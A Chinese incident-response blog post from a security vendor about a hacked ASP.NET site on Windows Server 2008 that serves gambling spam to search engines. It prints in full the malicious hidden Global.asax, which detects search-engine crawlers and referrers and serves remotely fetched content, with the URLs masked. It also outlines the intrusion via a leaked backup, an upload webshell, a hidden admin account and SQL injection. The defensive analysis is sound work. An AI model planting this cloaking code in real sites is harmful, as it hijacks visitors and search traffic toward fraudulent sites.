服务器上的网站被劫持收录跳转到灰色行业

简介: 3月份所有的企业都开始恢复正常运营,公司网站的运营者发现网站被攻击篡改跳转,在百度的收录出现了大量的与网站本身内容不相干的快照,都是一些菠菜或违规的内容,而运营者用的是单独服务器WIN2008系统在服务器里找了好久都没有发现被篡改的问题,而且公司对这个网站的声誉非常严谨,需要尽快恢复正常访问,这个运营者束手无策后,找到了我们SINE安全寻求服务,我们接手后立马安排安全技术对客户网站的整体情况以及百度收录的情况进行了排查,发现网站在春节期间被入侵篡改收录了大量的违规快照内容,而且服务器里还有其他的网站也同样被篡改,接下来我把处理过程简单总结一下

3月份所有的企业都开始恢复正常运营,公司网站的运营者发现网站被攻击篡改跳转,在百度的收录出现了大量的与网站本身内容不相干的快照,都是一些菠菜或违规的内容,而运营者用的是单独服务器WIN2008系统在服务器里找了好久都没有发现被篡改的问题,而且公司对这个网站的声誉非常严谨,需要尽快恢复正常访问,这个运营者束手无策后,找到了我们SINE安全寻求服务,我们接手后立马安排安全技术对客户网站的整体情况以及百度收录的情况进行了排查,发现网站在春节期间被入侵篡改收录了大量的违规快照内容,而且服务器里还有其他的网站也同样被篡改,接下来我把处理过程简单总结一下。

1.分析网站被攻击篡改的原因

客户网站用的是单独服务器,服务器是Windows server 2008,网站架构是用.net写的也就是aspx,数据库是sqlserver 2008,是一个综合的网站平台,有购物平台和客户下单系统,客户公司对网站用户的信息以及订单信息很重视怕被泄露,以及对网站的名誉都很重视,才想尽一切办法来恢复正常访问和安全加固,看了下网站根目录下的结构,存在一些默认的管理员目录admin,以及根目录下有个rar的压缩文件包,名字为filesbak.rar,打开看了下内容竟然是网站的备份目录,而且还包含了一些数据库备份的sql文件,可想而知,黑客肯定会通过批量猜解文件名去尝试下载。

通过对网站目录里的文件进行了代码安全审计,发现被上传了aspx木马后门,而且日期是2022年2月3日的,通过对日志的分析对比,发现黑客下载了网站的备份文件,通过上传功能的upload.aspx文件直接上传了木马后门,本身aspx的权限就比较大,可以直接提权拿到服务器权限,想到这里,对服务器的用户和用户组进行了比对,发现被增加了隐藏的管理员账户(客户网站的运营者没有发现,是因为你点开用户管理是看不到的,只能由我们SINE安全技术通过比对注册表进行对比才能看到),说明服务器也被黑客拿下了。既然问题已经清楚了,那就要分析被劫持跳转和收录恶意快照内容的问题,首先要检查网站根目录下的配置文件web.config看看有没有改动,检查了下文件内容正常,看了下首页文件index.aspx也没有篡改的迹象,对IIS站点的属性里的url伪静态也进行了查看,也没发现问题,根据我们多年的网站安全公司的处理经验,根目录下可能存在隐藏的文件,通过cmd命令下进行查看果然看到了一个隐藏属性的文件名为Global.asax,直接cmd命令cp拷贝文件到桌面进行查看,发现了被劫持跳转收录的木马代码:

<%@ Application Language="C#" %><%@ Import Namespace="System.Net" %><%@ Import Namespace="System.Net.Sockets" %><%@ Import Namespace="System.Text" %><%@ Import Namespace="System.IO" %><%@ Import Namespace="System.Security.Cryptography" %><script runat="server">void Application_Error(object sender, EventArgs e){if(Context != null){HttpContext ctx = HttpContext.Current;Exception ex = ctx.Server.GetLastError();HttpException ev = ex as HttpException;if(ev!= null){if(ev.GetHttpCode() == 404){string[] spidersString = "sogou,m.sogou,so.com,baidu,google,sogo,youdao,yahoo,bing,118114,soso,biso,gougou,ifeng,ivc,sooule,niuhu,biso,360,ucbrowser,uc".ToLower().Split(',');string[] refesString = "sogou,m.sogou,so.com,baidu,google,sogo,youdao,yahoo,bing,118114,soso,biso,gougou,ifeng,ivc,sooule,niuhu,biso,360,ucbrowser,uc".ToLower().Split(',');string Path = "xxx";(由于网站不能带网址,所以用xxx代表)string jsPath = "xxx";(由于网站不能带网址,所以用xxx代表)string leftPath = "xxx";(由于网站不能带网址,所以用xxx代表)string REFERER = "xxx";(由于网站不能带网址,所以用xxx代表)string user="";string urls=Request.Url.ToString();string host=Request.Url.Host;string spi2 = "";string[] spidersString2 = "ao,so.com,360".ToLower().Split(',');string user2 = Request.ServerVariables["HTTP_USER_AGENT"].ToString().ToLower();foreach (string s12 in spidersString2){if (user2.IndexOf(s12) != -1){spi2 = "&zz=360";break;}}if (user2.IndexOf("aid") != -1){spi2 =spi2 + "&bb=baidu";}if (Request.UrlReferrer != null){REFERER = Request.UrlReferrer.ToString().ToLower();}if (Request.ServerVariables["HTTP_USER_AGENT"] != null){user = Request.ServerVariables["HTTP_USER_AGENT"].ToString().ToLower();}foreach (string s in refesString){if (REFERER.IndexOf(s) != -1){ctx.ClearError();string getjs = get_content(jsPath);Response.Write(getjs);Response.End();}}foreach (string s in spidersString){if (user.IndexOf(s) != -1){ctx.ClearError();Response.Clear();if (urls.IndexOf("sitemap") != -1){string getleft = get_content(leftPath);Response.Write(getleft);Response.End();}string gethttp = get_content(Path+"?host="+host+"&urldz="+urls+spi2);Response.Write(gethttp );Response.End();}}//Response.Redirect("/");} } }}void Application_BeginRequest(object sender, EventArgs e){string[] spidersString = "Baiduspider,baidu.com,sogou.com,m.sogou,sougou,sogo,soso,360Spider".ToLower().Split(',');string user="";if (Request.ServerVariables["HTTP_USER_AGENT"] != null){user = Request.ServerVariables["HTTP_USER_AGENT"].ToString().ToLower();}foreach (string s in spidersString){if (user.IndexOf(s) != -1){Response.Clear();string gethttp = get_content("xxx");(由于网站不能带网址,所以用xxx代表)Response.Write(gethttp);}}}private string get_content(string p){string s = "";try{System.Net.WebClient client = new System.Net.WebClient();client.Encoding = System.Text.Encoding.GetEncoding("gb2312");s = client.DownloadString(p);client.Dispose();}catch(Exception ex){Response.Write(""+ex.Message);}return s;}</script>

2.网站木马清除和网站漏洞修复

找到问题后,我先来讲一下这个代码的作用,这个代码的功能主要是根据来路条件进行判断,如果来路的搜索引擎是sogou,m.sogou,so.com,baidu,google,sogo,youdao,yahoo,bing,118114,soso,biso,gougou,ifeng,ivc,sooule,niuhu,biso,360,ucbrowser,uc,就直接显示劫持地址的恶意内容,如果是直接输入网站域名的话就是正常显示,主要是对网站的快照收录和来路进行跳转,所以说很多运营者如果直接输入网站域名是发现不了问题的,如果用户搜索关键词点击网站链接进入的话会直接被跳转到恶意网站上去,知道原理后那我就找个模拟百度抓取的工具去抓取看下内容,图片如下:

果然模拟百度蜘蛛抓取到的内容会显示恶意标题,那了解这个木马劫持收录跳转的原理后,直接先把这个隐藏属性的Global.asax强制删除,然后再模拟抓取看下是否正常:

好了,网站恢复了正常访问,抓取也正常了,接下来的工作就是对网站木马后门的清理以及对网站漏洞的修复,通过我们人工代码审计发现一共留了3个后门,和1个服务器远控后门,先对网站的后门进行了删除,对上传目录进行了限制,对upload.aspx上传功能这里进行了修复,严格了对上传的后缀名限制,防止被绕过并上传aspx或asp的脚本文件,考虑到网站是用aspx和sql架构写的代码,认真看了下功能代码的变量提交函数的写法,发现存在sql注入攻击,黑客可以通过sql注入漏洞进行攻击直接用数据库用户的dbwone权限提权执行增加管理员账户,看到这个问题后立即对提交的变量函数统一进行了过滤,对非法字符和语句进行了限制,对默认的后台管理目录进行了系统二次验证,防止黑客暴力破解后台登录并篡改信息,服务器的后门直接对远程端口以及管理员账户进行了安全策略,只允许指定的IP进行通信。

因为大部分的运营者的安全技术有限,只能解决表面的问题,而网站反复被篡改攻击的问题实在是让运营者招架不住,再次建议网站的运营者有条件的话一定要向网站漏洞修复公司进行服务,国内做网站安全加固和漏洞修复的服务商如SINE安全,鹰盾安全,启明星辰,大树安全,都是有着丰富的实战安全防护经验,术业有专攻,专业的事情专业做。做好安全加固防护后网站稳定运行才是公司持久发展的必要条件。

相关文章
|
2月前
|
固态存储 安全 程序员
搭建程序员个人博客网站的服务器配置怎么选?
搭建个人博客网站时,合理选择服务器配置至关重要。推荐1核CPU、2GiB内存、SSD硬盘及2M-10M带宽,适合大多数个人博客。操作系统方面,Linux更为经济高效。建议选择如阿里云等知名云服务商,同时考虑服务器的可扩展性和安全性,确保网站稳定运行与良好体验。
|
2月前
|
运维 安全 Linux
怎么使用云服务器搭建个人博客网站
使用云服务器搭建个人博客网站是一个涉及多个步骤的过程,包括购买云服务器、域名注册和备案、环境配置、安装博客系统、部署SSL证书以及网站上线和维护。通过选择合适的云服务提供商(如阿里云、腾讯云等),配置服务器,安装宝塔面板,选择合适的博客程序(如Typecho、WordPress等),并确保安全措施到位,您可以成功搭建并运行自己的个人博客网站。
|
2月前
|
弹性计算 负载均衡 算法
负载均衡如何帮助阿里云国际服务器搭建的网站或应用程序?
负载均衡如何帮助阿里云国际服务器搭建的网站或应用程序?
|
2月前
|
域名解析 缓存 网络协议
Windows系统云服务器自定义域名解析导致网站无法访问怎么解决?
Windows系统云服务器自定义域名解析导致网站无法访问怎么解决?
|
2月前
|
弹性计算 关系型数据库 MySQL
CentOS 7.x操作系统的ECS云服务器上搭建WordPress网站
CentOS 7.x操作系统的ECS云服务器上搭建WordPress网站
|
2月前
|
网络安全 Docker 容器
【Bug修复】秒杀服务器异常,轻松恢复网站访问--从防火墙到Docker服务的全面解析
【Bug修复】秒杀服务器异常,轻松恢复网站访问--从防火墙到Docker服务的全面解析
28 0
|
2月前
|
存储 Linux
服务器数据恢复—Linux操作系统网站服务器数据恢复案例
服务器数据恢复环境: 一台linux操作系统网站服务器,该服务器上部署了几十个网站,使用一块SATA硬盘。 服务器故障&原因: 服务器在工作过程中突然宕机。管理员尝试重新启动服务器失败,于是将服务器上的硬盘拆下检测,发现很多坏扇区。联系当地的一家数据恢复公司处理,但是没有成功。
|
3月前
|
存储 数据挖掘 Linux
服务器数据恢复—Linux操作系统网站服务器数据恢复案例
服务器数据恢复环境: 一台linux操作系统服务器上跑了几十个网站,服务器上只有一块SATA硬盘。 服务器故障: 服务器突然宕机,尝试再次启动失败。将硬盘拆下检测,发现存在坏扇区
|
4月前
|
前端开发 安全 Java
在Java服务器端开发的浩瀚宇宙中,Servlet与JSP犹如两颗璀璨的明星,它们联袂登场,共同编织出动态网站的绚丽篇章。
在Java服务器端开发的浩瀚宇宙中,Servlet与JSP犹如两颗璀璨的明星,它们联袂登场,共同编织出动态网站的绚丽篇章。
30 0
|
5月前
|
关系型数据库 Linux 数据库
如何在Linux云服务器上通过Docker Compose部署安装Halo,搭建个人博客网站?
本文指导用户如何在Linux服务器上使用Docker Compose部署Halo博客系统。首先确保拥有Linux服务器并安装Docker及Docker Compose。接着创建文件夹(例如`~/halo`),用于存放所有Halo相关数据。可以选择不同的Halo Docker镜像源,推荐使用具体版本而非`latest`标签以避免误操作。示例中提供了三种`docker-compose.yaml`配置方法:Halo+PostgreSQL、Halo+MySQL以及使用默认的H2数据库。每种配置都包括网络设置、健康检查和环境变量。
240 1